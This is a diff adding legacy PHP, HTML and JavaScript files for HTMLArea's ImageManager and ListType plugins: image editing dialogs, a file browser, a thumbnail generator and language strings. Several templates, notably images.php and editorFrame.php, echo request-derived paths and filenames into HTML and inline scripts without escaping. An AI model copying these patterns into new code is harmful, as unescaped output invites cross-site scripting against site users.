+ <a href="javascript: editor.doSubmit('scale');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+ <a href="javascript: editor.reset();" class="buttons" title="Cancle"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>
+ </div>
+ <div id="tools_rotate" style="display:none;">
+ <div id="tool_inputs">
+ <select id="flip" name="flip" style="margin-left: 10px; vertical-align: middle;">
+ <option selected>Flip Image</option>
+ <option>-----------------</option>
+ <option value="hoz">Flip Horizontal</option>
+ <option value="ver">Flip Virtical</option>
+ </select>
+ <select name="rotate" onchange="rotatePreset(this)" style="margin-left: 20px; vertical-align: middle;">
+ <option selected>Rotate Image</option>
+ <option>-----------------</option>
+
+ <option value="180">Rotate 180 °</option>
+ <option value="90">Rotate 90 ° CW</option>
+ <option value="-90">Rotate 90 ° CCW</option>
+ </select>
+ <label for="ra">Angle:</label><input type="text" id="ra" class="textInput" />
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ </div>
+ <a href="javascript: editor.doSubmit('rotate');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+ <a href="javascript: editor.reset();" class="buttons" title="Cancle"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>
+ </div>
+ <div id="tools_measure" style="display:none;">
+ <div id="tool_inputs">
+ <label>X:</label><input type="text" class="measureStats" id="sx" />
+ <label>Y:</label><input type="text" class="measureStats" id="sy" />
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ <label>W:</label><input type="text" class="measureStats" id="mw" />
+ <label>H:</label><input type="text" class="measureStats" id="mh" />
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ <label>A:</label><input type="text" class="measureStats" id="ma" />
+ <label>D:</label><input type="text" class="measureStats" id="md" />
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ <button type="button" onclick="editor.reset();" >Clear</button>
+ </div>
+ </div>
+ <div id="tools_save" style="display:none;">
+ <div id="tool_inputs">
+ <label for="save_filename">Filename:</label><input type="text" id="save_filename" value="<? echo $editor->getDefaultSaveFile();?>"/>
+ <select name="format" id="save_format" style="margin-left: 10px; vertical-align: middle;" onchange="updateFormat(this)">
+ <option value="" selected>Image Format</option>
+ <option value="">---------------------</option>
+ <option value="jpeg,85">JPEG High</option>
+ <option value="jpeg,60">JPEG Medium</option>
+ <option value="jpeg,35">JPEG Low</option>
+ <option value="png">PNG</option>
+ <? if($editor->isGDGIFAble() != -1) { ?>
+ <option value="gif">GIF</option>
+ <? } ?>
+ </select>
+ <label>Quality:</label>
+ <table style="display: inline; vertical-align: middle;" cellpadding="0" cellspacing="0">
+ <tr>
+ <td>
+ <div id="slidercasing">
+ <div id="slidertrack" style="width:100px"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+ <div id="sliderbar" style="left:85px" onmousedown="captureStart();"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+ </div>
+ </td>
+ </tr>
+ </table>
+ <input type="text" id="quality" onchange="updateSlider(this.value)" style="width: 2em;" value="85"/>
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ </div>
+ <a href="javascript: editor.doSubmit('save');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+ <a href="javascript: editor.reset();" class="buttons" title="Cancel"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>
+ </div>
+</div>
+<div id="toolbar">
+<a href="javascript:toggle('crop')" id="icon_crop" title="Crop"><img src="img/crop.gif" height="20" width="20" alt="Crop" /><span>Crop</span></a>
+<a href="javascript:toggle('scale')" id="icon_scale" title="Resize"><img src="img/scale.gif" height="20" width="20" alt="Resize" /><span>Resize</span></a>
+<a href="javascript:toggle('rotate')" id="icon_rotate" title="Rotate"><img src="img/rotate.gif" height="20" width="20" alt="Rotate" /><span>Rotate</span></a>
+<a href="javascript:toggle('measure')" id="icon_measure" title="Measure"><img src="img/measure.gif" height="20" width="20" alt="Measure" /><span>Measure</span></a>
+<a href="javascript: toggleMarker();" title="Marker"><img id="markerImg" src="img/t_black.gif" height="20" width="20" alt="Marker" /><span>Marker</span></a>
+<a href="javascript:toggle('save')" id="icon_save" title="Save"><img src="img/save.gif" height="20" width="20" alt="Save" /><span>Save</span></a>
+</div>
+<div id="contents">
+<iframe src="editorFrame.php?img=<? if(isset($_GET['img'])) echo rawurlencode($_GET['img']); ?>" name="editor" id="editor" scrolling="auto" title="Image Editor" frameborder="0"></iframe>
+</div>
+<div id="bottom"></div>
+</body>
+</html>
--- /dev/null
+<?
+
+/**
+ * The frame that contains the image to be edited.
+ * @author $Author: cscott $
+ * @version $Id: editorFrame.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/ImageEditor.php');
+
+$manager = new ImageManager($IMConfig);
+$editor = new ImageEditor($manager);
+$imageInfo = $editor->processImage();
+
+?>
+
+<html>
+<head>
+ <title></title>
+<link href="assets/editorFrame.css" rel="stylesheet" type="text/css" />
+<script type="text/javascript" src="assets/wz_jsgraphics.js"></script>
+<script type="text/javascript" src="assets/EditorContent.js"></script>
+<script type="text/javascript">
+if(window.top)
+ I18N = window.top.I18N;
+
+function i18n(str) {
+ if(I18N)
+ return (I18N[str] || str);
+ else
+ return str;
+};
+
+ var mode = "<? echo $editor->getAction(); ?>" //crop, scale, measure
+
+var currentImageFile = "<? if(count($imageInfo)>0) echo rawurlencode($imageInfo['file']); ?>";
+
+<? if ($editor->isFileSaved() == 1) { ?>
+ alert(i18n('File saved.'));
+<? } else if ($editor->isFileSaved() == -1) { ?>
+ alert(i18n('File was not saved.'));
+<? } ?>
+
+</script>
+<script type="text/javascript" src="assets/editorFrame.js"></script>
+</head>
+
+<body>
+<div id="status"></div>
+<div id="ant" class="selection" style="visibility:hidden"><img src="img/spacer.gif" width="0" height="0" border="0" alt="" id="cropContent"></div>
+<? if ($editor->isGDEditable() == -1) { ?>
+ <div style="text-align:center; padding:10px;"><span class="error">GIF format is not supported, image editing not supported.</span></div>
+<? } ?>
+<table height="100%" width="100%">
+ <tr>
+ <td>
+<? if(count($imageInfo) > 0 && is_file($imageInfo['fullpath'])) { ?>
+ <span id="imgCanvas" class="crop"><img src="<? echo $imageInfo['src']; ?>" <? echo $imageInfo['dimensions']; ?> alt="" id="theImage" name="theImage"></span>
+<? } else { ?>
+ <span class="error">No Image Available</span>
+<? } ?>
+ </td>
+ </tr>
+</table>
+</body>
+</html>
--- /dev/null
+/**
+ * The ImageManager plugin javascript.
+ * @author $Author: cscott $
+ * @version $Id: image-manager.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+/**
+ * To Enable the plug-in add the following line before HTMLArea is initialised.
+ *
+ * HTMLArea.loadPlugin("ImageManager");
+ *
+ * Then configure the config.inc.php file, that is all.
+ * For up-to-date documentation, please visit http://www.zhuo.org/htmlarea/
+ */
+
+/**
+ * It is pretty simple, this file over rides the HTMLArea.prototype._insertImage
+ * function with our own, only difference is the popupDialog url
+ * point that to the php script.
+ */
+function ImageManager(editor)
+{
+ var tt = ImageManager.I18N;
+
+};
+
+ImageManager._pluginInfo = {
+ name : "ImageManager",
+ version : "1.0",
+ developer : "Xiang Wei Zhuo",
+ developer_url : "http://www.zhuo.org/htmlarea/",
+ license : "htmlArea"
+};
+
+
+// Over ride the _insertImage function in htmlarea.js.
+// Open up the ImageManger script instead.
+HTMLArea.prototype._insertImage = function(image) {
+
+ var editor = this; // for nested functions
+ var outparam = null;
+ if (typeof image == "undefined") {
+ image = this.getParentElement();
+ if (image && !/^img$/i.test(image.tagName))
+ image = null;
+ }
+ if (image) outparam = {
+ f_url : HTMLArea.is_ie ? image.src : image.getAttribute("src"),
+ f_alt : image.alt,
+ f_border : image.border,
+ f_align : image.align,
+ f_vert : image.vspace,
+ f_horiz : image.hspace,
+ f_width : image.width,
+ f_height : image.height
+ };
+
+ var manager = _editor_url + 'plugins/ImageManager/manager.php';
+
+ Dialog(manager, function(param) {
+ if (!param) { // user must have pressed Cancel
+ return false;
+ }
+ var img = image;
+ if (!img) {
+ var sel = editor._getSelection();
+ var range = editor._createRange(sel);
+ editor._doc.execCommand("insertimage", false, param.f_url);
+ if (HTMLArea.is_ie) {
+ img = range.parentElement();
+ // wonder if this works...
+ if (img.tagName.toLowerCase() != "img") {
+ img = img.previousSibling;
+ }
+ } else {
+ img = range.startContainer.previousSibling;
+ }
+ } else {
+ img.src = param.f_url;
+ }
+
+ for (field in param) {
+ var value = param[field];
+ switch (field) {
+ case "f_alt" : img.alt = value; break;
+ case "f_border" : img.border = parseInt(value || "0"); break;
+ case "f_align" : img.align = value; break;
+ case "f_vert" : img.vspace = parseInt(value || "0"); break;
+ case "f_horiz" : img.hspace = parseInt(value || "0"); break;
+ case "f_width" : img.width = parseInt(value || "0"); break;
+ case "f_height" : img.height = parseInt(value || "0"); break;
+ }
+ }
+
+
+ }, outparam);
+};
+
+
--- /dev/null
+<?
+/**
+ * Show a list of images in a long horizontal table.
+ * @author $Author: cscott $
+ * @version $Id: images.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+
+//default path is /
+$relative = '/';
+$manager = new ImageManager($IMConfig);
+
+//process any file uploads
+$manager->processUploads();
+
+$manager->deleteFiles();
+
+$refreshDir = false;
+//process any directory functions
+if($manager->deleteDirs() || $manager->processNewDir())
+ $refreshDir = true;
+
+//check for any sub-directory request
+//check that the requested sub-directory exists
+//and valid
+if(isset($_REQUEST['dir']))
+{
+ $path = rawurldecode($_REQUEST['dir']);
+ if($manager->validRelativePath($path))
+ $relative = $path;
+}
+
+
+$manager = new ImageManager($IMConfig);
+
+
+//get the list of files and directories
+$list = $manager->getFiles($relative);
+
+
+/* ================= OUTPUT/DRAW FUNCTIONS ======================= */
+
+/**
+ * Draw the files in an table.
+ */
+function drawFiles($list, &$manager)
+{
+ global $relative;
+
+ foreach($list as $entry => $file)
+ { ?>
+ <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">
+ <a href="javascript:;" onclick="selectImage('<? echo $file['relative'];?>', '<? echo $entry; ?>', <? echo $file['image'][0];?>, <? echo $file['image'][1]; ?>);"title="<? echo $entry; ?> - <? echo Files::formatSize($file['stat']['size']); ?>"><img src="<? echo $manager->getThumbnail($file['relative']); ?>" alt="<? echo $entry; ?> - <? echo Files::formatSize($file['stat']['size']); ?>"/></a>
+ </td></tr><tr><td class="edit">
+ <a href="images.php?dir=<? echo $relative; ?>&delf=<? echo rawurlencode($file['relative']);?>" title="Trash" onclick="return confirmDeleteFile('<? echo $entry; ?>');"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a><a href="javascript:;" title="Edit" onclick="editImage('<? echo rawurlencode($file['relative']);?>');"><img src="img/edit_pencil.gif" height="15" width="15" alt="Edit"/></a>
+ <? if($file['image']){ echo $file['image'][0].'x'.$file['image'][1]; } else echo $entry;?>
+ </td></tr></table></td>
+ <?
+ }//foreach
+}//function drawFiles
+
+
+/**
+ * Draw the directory.
+ */
+function drawDirs($list, &$manager)
+{
+ global $relative;
+
+ foreach($list as $path => $dir)
+ { ?>
+ <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">
+ <a href="images.php?dir=<? echo rawurlencode($path); ?>" onclick="updateDir('<? echo $path; ?>')" title="<? echo $dir['entry']; ?>"><img src="img/folder.gif" height="80" width="80" alt="<? echo $dir['entry']; ?>" /></a>
+ </td></tr><tr>
+ <td class="edit">
+ <a href="images.php?dir=<? echo $relative; ?>&deld=<? echo rawurlencode($path); ?>" title="Trash" onclick="return confirmDeleteDir('<? echo $dir['entry']; ?>', <? echo $dir['count']; ?>);"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a>
+ <? echo $dir['entry']; ?>
+ </td>
+ </tr></table></td>
+ <?
+ } //foreach
+}//function drawDirs
+
+
+/**
+ * No directories and no files.
+ */
+function drawNoResults()
+{
+?>
+<table width="100%">
+ <tr>
+ <td class="noResult">No Images Found</td>
+ </tr>
+</table>
+<?
+}
+
+/**
+ * No directories and no files.
+ */
+function drawErrorBase(&$manager)
+{
+?>
+<table width="100%">
+ <tr>
+ <td class="error">Invalid base directory: <? echo $manager->config['base_dir']; ?></td>
+ </tr>
+</table>
+<?
+}
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+ <title>Image List</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <link href="assets/imagelist.css" rel="stylesheet" type="text/css" />
+<script type="text/javascript" src="assets/dialog.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+
+ if(window.top)
+ I18N = window.top.I18N;
+
+ function hideMessage()
+ {
+ var topDoc = window.top.document;
+ var messages = topDoc.getElementById('messages');
+ if(messages)
+ messages.style.display = "none";
+ }
+
+ init = function()
+ {
+ hideMessage();
+ var topDoc = window.top.document;
+
+<?
+ //we need to refesh the drop directory list
+ //save the current dir, delete all select options
+ //add the new list, re-select the saved dir.
+ if($refreshDir)
+ {
+ $dirs = $manager->getDirs();
+?>
+ var selection = topDoc.getElementById('dirPath');
+ var currentDir = selection.options[selection.selectedIndex].text;
+
+ while(selection.length > 0)
+ { selection.remove(0); }
+
+ selection.options[selection.length] = new Option("/","<? echo rawurlencode('/'); ?>");
+ <? foreach($dirs as $relative=>$fullpath) { ?>
+ selection.options[selection.length] = new Option("<? echo $relative; ?>","<? echo rawurlencode($relative); ?>");
+ <? } ?>
+
+ for(var i = 0; i < selection.length; i++)
+ {
+ var thisDir = selection.options[i].text;
+ if(thisDir == currentDir)
+ {
+ selection.selectedIndex = i;
+ break;
+ }
+ }
+<? } ?>
+ }
+
+ function editImage(image)
+ {
+ var url = "editor.php?img="+image;
+ Dialog(url, function(param)
+ {
+ if (!param) // user must have pressed Cancel
+ return false;
+ else
+ {
+ return true;
+ }
+ }, null);
+ }
+
+/*]]>*/
+</script>
+<script type="text/javascript" src="assets/images.js"></script>
+</head>
+
+<body>
+<? if ($manager->isValidBase() == false) { drawErrorBase($manager); }
+ elseif(count($list[0]) > 0 || count($list[1]) > 0) { ?>
+<table>
+ <tr>
+ <? drawDirs($list[0], $manager); ?>
+ <? drawFiles($list[1], $manager); ?>
+ </tr>
+</table>
+<? } else { drawNoResults(); } ?>
+</body>
+</html>
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Xiang Wei Zhuo, http://www.zhuo.org
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+ImageManager.I18N = {
+ "Image Manager" : "Image Manager",
+ "Crop" : "Crop"
+};
+/*
+
+
+*/
\ No newline at end of file
--- /dev/null
+<?
+/**
+ * The main GUI for the ImageManager.
+ * @author $Author: cscott $
+ * @version $Id: manager.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+ require_once('config.inc.php');
+ require_once('Classes/ImageManager.php');
+
+ $manager = new ImageManager($IMConfig);
+ $dirs = $manager->getDirs();
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+ <title>Insert Image</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <link href="assets/manager.css" rel="stylesheet" type="text/css" />
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript" src="assets/dialog.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+ window.resizeTo(600, 460);
+
+ if(window.opener)
+ I18N = window.opener.ImageManager.I18N;
+
+ var thumbdir = "<? echo $IMConfig['thumbnail_dir']; ?>";
+ var base_url = "<? echo $manager->getBaseURL(); ?>";
+/*]]>*/
+</script>
+<script type="text/javascript" src="assets/manager.js"></script>
+</head>
+<body>
+<div class="title">Insert Image</div>
+<form action="images.php" id="uploadForm" method="post" enctype="multipart/form-data">
+<fieldset><legend>Image Manager</legend>
+<div class="dirs">
+ <label for="dirPath">Directory</label>
+ <select name="dir" class="dirWidth" id="dirPath" onchange="updateDir(this)">
+ <option value="/">/</option>
+<? foreach($dirs as $relative=>$fullpath) { ?>
+ <option value="<? echo rawurlencode($relative); ?>"><? echo $relative; ?></option>
+<? } ?>
+ </select>
+ <a href="#" onclick="javascript: goUpDir();" title="Directory Up"><img src="img/btnFolderUp.gif" height="15" width="15" alt="Directory Up" /></a>
+<? if($IMConfig['safe_mode'] == false && $IMConfig['allow_new_dir']) { ?>
+ <a href="#" onclick="newFolder();" title="New Folder"><img src="img/btnFolderNew.gif" height="15" width="15" alt="New Folder" /></a>
+<? } ?>
+ <div id="messages" style="display: none;"><span id="message"></span><img SRC="img/dots.gif" width="22" height="12" alt="..." /></div>
+ <iframe src="images.php" name="imgManager" id="imgManager" class="imageFrame" scrolling="auto" title="Image Selection" frameborder="0"></iframe>
+</div>
+</fieldset>
+<!-- image properties -->
+ <table class="inputTable">
+ <tr>
+ <td align="right"><label for="f_url">Image File</label></td>
+ <td><input type="text" id="f_url" class="largelWidth" value="" /></td>
+ <td rowspan="3" align="right"> </td>
+ <td align="right"><label for="f_width">Width</label></td>
+ <td><input type="text" id="f_width" class="smallWidth" value="" onchange="javascript:checkConstrains('width');"/></td>
+ <td rowspan="2" align="right"><img src="img/locked.gif" id="imgLock" width="25" height="32" alt="Constrained Proportions" /></td>
+ <td rowspan="3" align="right"> </td>
+ <td align="right"><label for="f_vert">V Space</label></td>
+ <td><input type="text" id="f_vert" class="smallWidth" value="" /></td>
+ </tr>
+ <tr>
+ <td align="right"><label for="f_alt">Alt</label></td>
+ <td><input type="text" id="f_alt" class="largelWidth" value="" /></td>
+ <td align="right"><label for="f_height">Height</label></td>
+ <td><input type="text" id="f_height" class="smallWidth" value="" onchange="javascript:checkConstrains('height');"/></td>
+ <td align="right"><label for="f_horiz">H Space</label></td>
+ <td><input type="text" id="f_horiz" class="smallWidth" value="" /></td>
+ </tr>
+ <tr>
+<? if($IMConfig['allow_upload'] == true) { ?>
+ <td align="right"><label for="upload">Upload</label></td>
+ <td>
+ <table cellpadding="0" cellspacing="0" border="0">
+ <tr>
+ <td><input type="file" name="upload" id="upload"/></td>
+ <td> <button type="submit" name="submit" onclick="doUpload();"/>Upload</button></td>
+ </tr>
+ </table>
+ </td>
+<? } else { ?>
+ <td colspan="2"></td>
+<? } ?>
+ <td align="right"><label for="f_align">Align</label></td>
+ <td colspan="2">
+ <select size="1" id="f_align" title="Positioning of this image">
+ <option value="" >Not Set</option>
+ <option value="left" >Left</option>
+ <option value="right" >Right</option>
+ <option value="texttop" >Texttop</option>
+ <option value="absmiddle" selected="selected" >Absmiddle</option>
+ <option value="baseline" >Baseline</option>
+ <option value="absbottom" >Absbottom</option>
+ <option value="bottom" >Bottom</option>
+ <option value="middle" >Middle</option>
+ <option value="top" >Top</option>
+ </select>
+ </td>
+ <td align="right"><label for="f_border">Border</label></td>
+ <td><input type="text" id="f_border" class="smallWidth" value="" /></td>
+ </tr>
+ <tr>
+ <td colspan="4" align="right">
+ <input type="hidden" id="orginal_width" />
+ <input type="hidden" id="orginal_height" />
+ <input type="checkbox" id="constrain_prop" checked="checked" onclick="javascript:toggleConstrains(this);" />
+ </td>
+ <td colspan="5"><label for="constrain_prop">Constrain Proportions</label></td>
+ </tr>
+ </table>
+<!--// image properties -->
+ <div style="text-align: right;">
+ <hr />
+ <button type="button" class="buttons" onclick="return refresh();">Refresh</button>
+ <button type="button" class="buttons" onclick="return onOK();">OK</button>
+ <button type="button" class="buttons" onclick="return onCancel();">Cancel</button>
+ </div>
+</form>
+</body>
+</html>
--- /dev/null
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head>
+<title>New Folder</title>
+ <style type="text/css">
+ /*<![CDATA[*/
+ html, body { background-color: ButtonFace; color: ButtonText; font: 11px Tahoma,Verdana,sans-serif; margin: 0; padding: 0;}
+body { padding: 5px; }
+ .title { background-color: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px; border-bottom: 1px solid black; letter-spacing: 2px;}
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+.buttons { width: 70px; text-align: center; }
+form { padding: 0px; margin: 0;}
+form .elements{
+ padding: 10px; text-align: center;
+}
+ /*]]>*/
+ </style>
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+ window.resizeTo(300, 160);
+
+ if(window.opener)
+ I18N = window.opener.I18N;
+
+ init = function ()
+ {
+ __dlg_init();
+ __dlg_translate(I18N);
+ document.getElementById("f_foldername").focus();
+ }
+
+ function onCancel()
+ {
+ __dlg_close(null);
+ return false;
+ }
+
+ function onOK()
+ {
+ // pass data back to the calling window
+ var fields = ["f_foldername"];
+ var param = new Object();
+ for (var i in fields) {
+ var id = fields[i];
+ var el = document.getElementById(id);
+ param[id] = el.value;
+ }
+ __dlg_close(param);
+ return false;
+ }
+
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+
+ addEvent(window, 'load', init);
+//-->
+</script>
+</head>
+<body >
+<div class="title">New Folder</div>
+<form action="">
+<div class="elements">
+ <label for="f_foldername">Folder Name:</label>
+ <input type="text" id="f_foldername" />
+</div>
+<div style="text-align: right;">
+ <hr />
+ <button type="button" class="buttons" onclick="return onOK();">OK</button>
+ <button type="button" class="buttons" onclick="return onCancel();">Cancel</button>
+</div>
+</form>
+</body>
+</html>
\ No newline at end of file
--- /dev/null
+<?
+/**
+ * On the fly Thumbnail generation.
+ * Creates thumbnails given by thumbs.php?img=/relative/path/to/image.jpg
+ * relative to the base_dir given in config.inc.php
+ * @author $Author: cscott $
+ * @version $Id: thumbs.php,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/Thumbnail.php');
+
+//check for img parameter in the url
+if(!isset($_GET['img']))
+ exit();
+
+
+$manager = new ImageManager($IMConfig);
+
+//get the image and the full path to the image
+$image = rawurldecode($_GET['img']);
+$fullpath = Files::makeFile($manager->getBaseDir(),$image);
+
+//not a file, so exit
+if(!is_file($fullpath))
+ exit();
+
+$imgInfo = @getImageSize($fullpath);
+
+//Not an image, send default thumbnail
+if(!is_array($imgInfo))
+{
+ //show the default image, otherwise we quit!
+ $default = $manager->getDefaultThumb();
+ if($default)
+ {
+ header('Location: '.$default);
+ exit();
+ }
+}
+//if the image is less than the thumbnail dimensions
+//send the original image as thumbnail
+if ($imgInfo[0] <= $IMConfig['thumbnail_width']
+ && $imgInfo[1] <= $IMConfig['thumbnail_height'])
+ {
+ header('Location: '.$manager->getFileURL($image));
+ exit();
+ }
+
+//Check for thumbnails
+$thumbnail = $manager->getThumbName($fullpath);
+if(is_file($thumbnail))
+{
+ //if the thumbnail is newer, send it
+ if(filemtime($thumbnail) >= filemtime($fullpath))
+ {
+ header('Location: '.$manager->getThumbURL($image));
+ exit();
+ }
+}
+
+//creating thumbnails
+$thumbnailer = new Thumbnail($IMConfig['thumbnail_width'],$IMConfig['thumbnail_height']);
+$thumbnailer->createThumbnail($fullpath, $thumbnail);
+
+//Check for NEW thumbnails
+if(is_file($thumbnail))
+{
+ //send the new thumbnail
+ header('Location: '.$manager->getThumbURL($image));
+ exit();
+}
+else
+{
+ //show the default image, otherwise we quit!
+ $default = $manager->getDefaultThumb();
+ if($default)
+ header('Location: '.$default);
+}
+?>
\ No newline at end of file
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+ListType.I18N = {
+ "Decimal" : "Decimal numbers",
+ "Lower roman" : "Lower roman numbers",
+ "Upper roman" : "Upper roman numbers",
+ "Lower latin" : "Lower latin letters",
+ "Upper latin" : "Upper latin letters",
+ "Lower greek" : "Lower greek letters",
+ "ListStyleTooltip" : "Choose list style type (for ordered lists)"
+};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// ListType Plugin for HTMLArea-3.0
+// Sponsored by MEdTech Unit - Queen's University
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: list-type.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+function ListType(editor) {
+ this.editor = editor;
+ var cfg = editor.config;
+ var toolbar = cfg.toolbar;
+ var self = this;
+ var i18n = ListType.I18N;
+ var options = {};
+ options[i18n["Decimal"]] = "decimal";
+ options[i18n["Lower roman"]] = "lower-roman";
+ options[i18n["Upper roman"]] = "upper-roman";
+ options[i18n["Lower latin"]] = "lower-alpha";
+ options[i18n["Upper latin"]] = "upper-alpha";
+ if (!HTMLArea.is_ie)
+ // IE doesn't support this property; even worse, it complains
+ // with a gross error message when we tried to select it,
+ // therefore let's hide it from the damn "browser".
+ options[i18n["Lower greek"]] = "lower-greek";
+ var obj = {
+ id : "ListType",
+ tooltip : i18n["ListStyleTooltip"],
+ options : options,
+ action : function(editor) { self.onSelect(editor, this); },
+ refresh : function(editor) { self.updateValue(editor, this); },
+ context : "ol"
+ };
+ cfg.registerDropdown(obj);
+ var a, i, j, found = false;
+ for (i = 0; !found && i < toolbar.length; ++i) {
+ a = toolbar[i];
+ for (j = 0; j < a.length; ++j) {
+ if (a[j] == "unorderedlist") {
+ found = true;
+ break;
+ }
+ }
+ }
+ if (found)
+ a.splice(j, 0, "space", "ListType", "space");
+};
+
+ListType._pluginInfo = {
+ name : "ListType",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "dynarch.com",
+ sponsor : "MEdTech Unit - Queen's University",
+ sponsor_url : "http://www.queensu.ca/",
+ license : "htmlArea"
+};
+
+ListType.prototype.onSelect = function(editor, combo) {
+ var tbobj = editor._toolbarObjects[combo.id].element;
+ var parent = editor.getParentElement();
+ while (!/^ol$/i.test(parent.tagName)) {
+ parent = parent.parentNode;
+ }
+ parent.style.listStyleType = tbobj.value;
+};
+
+ListType.prototype.updateValue = function(editor, combo) {
+ var tbobj = editor._toolbarObjects[combo.id].element;
+ var parent = editor.getParentElement();
+ while (parent && !/^ol$/i.test(parent.tagName)) {
+ parent = parent.parentNode;
+ }
+ if (!parent) {
+ tbobj.selectedIndex = 0;
+ return;
+ }
+ var type = parent.style.listStyleType;
+ if (!type) {
+ tbobj.selectedIndex = 0;
+ } else {
+ for (var i = tbobj.firstChild; i; i = i.nextSibling) {
+ i.selected = (type.indexOf(i.value) != -1);
+ }
+ }
+};
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+</files>
+
--- /dev/null
+<files>
+ <file name="*.{gif,jpg,jpeg}" />
+</files>
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "cz", ENCODING: UTF-8 | ISO-8859-2\r\r
+// Author: Jiri Löw, <jirilow@jirilow.com>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+SpellChecker.I18N = {\r\r
+ "CONFIRM_LINK_CLICK" : "Prosím potvrďte otevření tohoto odkazu",\r\r
+ "Cancel" : "Zrušit",\r\r
+ "Dictionary" : "Slovník",\r\r
+ "Finished list of mispelled words" : "Dokončen seznam chybných slov",\r\r
+ "I will open it in a new page." : "Bude otevřen jej v nové stránce.",\r\r
+ "Ignore all" : "Ignorovat vše",\r\r
+ "Ignore" : "Ignorovat",\r\r
+ "NO_ERRORS" : "Podle zvoleného slovníku nebyla nalezena žádná chybná slova.",\r\r
+ "NO_ERRORS_CLOSING" : "Kontrola správnosti slov dokončena, nebyla nalezena žádná chybná slova. Ukončování ...",\r\r
+ "OK" : "OK",\r\r
+ "Original word" : "Původní slovo",\r\r
+ "Please wait. Calling spell checker." : "Prosím čekejte. Komunikuace s kontrolou správnosti slov.",\r\r
+ "Please wait: changing dictionary to" : "Prosím čekejte: změna adresáře na",\r\r
+ "QUIT_CONFIRMATION" : "Změny budou zrušeny a kontrola správnosti slov ukončena. Prosím potvrďte.",\r\r
+ "Re-check" : "Překontrolovat",\r\r
+ "Replace all" : "Zaměnit všechno",\r\r
